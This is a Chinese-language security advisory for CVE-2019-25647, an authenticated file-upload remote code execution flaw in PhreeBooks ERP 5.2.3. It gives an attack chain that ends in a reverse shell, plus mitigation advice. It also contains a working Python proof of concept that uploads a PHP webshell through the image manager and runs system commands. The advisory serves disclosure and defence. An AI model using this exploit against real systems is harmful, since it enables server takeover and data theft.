IPBUF安全漏洞报告
English
CVE-2019-25647 CVSS 8.8 高危

CVE-2019-25647 PhreeBooks ERP远程代码执行漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2019-25647
漏洞类型
远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
PhreeBooks ERP

相关标签

远程代码执行文件上传PhreeBooksERPRCEWebShell

漏洞概述

PhreeBooks ERP 5.2.3版本中的图像管理器模块存在严重的远程代码执行漏洞。由于系统未能正确验证上传文件的类型,经过身份验证的低权限攻击者可以绕过文件扩展名限制,上传恶意的PHP脚本文件。一旦文件上传成功,攻击者即可通过访问该文件在服务器端执行任意系统命令。这可能导致攻击者获取服务器控制权、建立反向Shell连接,并窃取敏感数据或破坏系统服务,对企业的业务安全构成极高威胁。

技术细节

该漏洞的核心技术原理在于PhreeBooks ERP图像管理器模块对用户上传内容的验证逻辑存在严重缺陷。在Web应用中,文件上传功能通常是高风险点,必须严格验证文件类型、扩展名及内容。然而,PhreeBooks ERP 5.2.3版本在处理上传请求时,仅依赖客户端或简单的服务器端黑名单机制,未能有效识别经过构造的恶意文件。

攻击者可以利用这一缺陷,通过修改HTTP请求中的Content-Type或使用双重扩展名等方式欺骗服务器,将包含PHP后门代码的文件上传至Web可访问目录。由于服务器配置或应用逻辑允许解析该目录下的PHP文件,攻击者只需通过浏览器发送请求指向该上传的文件,即可触发PHP解释器执行其中的恶意代码。

从利用方式来看,攻击者首先需要获取一个低权限账户的凭证。随后,利用该凭证建立会话,向图像管理器的上传接口发送精心构造的POST数据包。一旦上传成功,攻击者通过访问该文件的URL,可以传递系统命令参数,使服务器返回命令执行结果。进一步地,攻击者可以下载并运行反弹Shell程序,从而获得服务器的交互式Shell访问权限。

攻击链分析

STEP 1
侦查与认证
攻击者对目标PhreeBooks ERP系统进行信息收集,并获取有效的低权限用户凭证以登录系统。
STEP 2
漏洞利用
攻击者利用图像管理器的上传接口,构造包含恶意PHP代码的文件上传请求,绕过文件扩展名检查机制。
STEP 3
代码执行
攻击者访问已上传的恶意PHP文件URL,触发服务器端解析引擎执行系统命令,验证漏洞存在。
STEP 4
建立控制
攻击者利用命令执行功能下载并运行反向Shell程序,建立稳定的控制通道,完全控制服务器。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 import requests # Target configuration target_url = "http://target-phreebooks-url" username = "admin" password = "password" # 1. Login to get session login_data = { "user_name": username, "user_password": password } session = requests.Session() session.post(f"{target_url}/index.php", data=login_data) # 2. Prepare malicious PHP payload # A simple webshell that executes 'cmd' parameter php_payload = "<?php system($_GET['cmd']); ?>" files = { 'file': ('shell.php', php_payload, 'application/x-php') } # 3. Upload the payload via Image Manager # Note: Endpoint may vary based on version and configuration upload_url = f"{target_url}/index.php?module=phreebooks&page=images&action=upload" response = session.post(upload_url, files=files) if response.status_code == 200 and "success" in response.text.lower(): print("[+] Upload successful!") # 4. Execute the command shell_url = f"{target_url}/images/shell.php" cmd_response = session.get(f"{shell_url}?cmd=whoami") print(f"[+] Command output: {cmd_response.text}") else: print("[-] Upload failed.")

影响范围

PhreeBooks ERP 5.2.3

防御指南

临时缓解措施
建议立即升级PhreeBooks ERP至最新版本以修复此漏洞。若暂时无法升级,应严格限制图像管理器目录的写入权限,并在Web服务器配置文件中禁止该目录下的PHP文件执行。同时,加强对系统异常文件上传行为的监控与审计。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表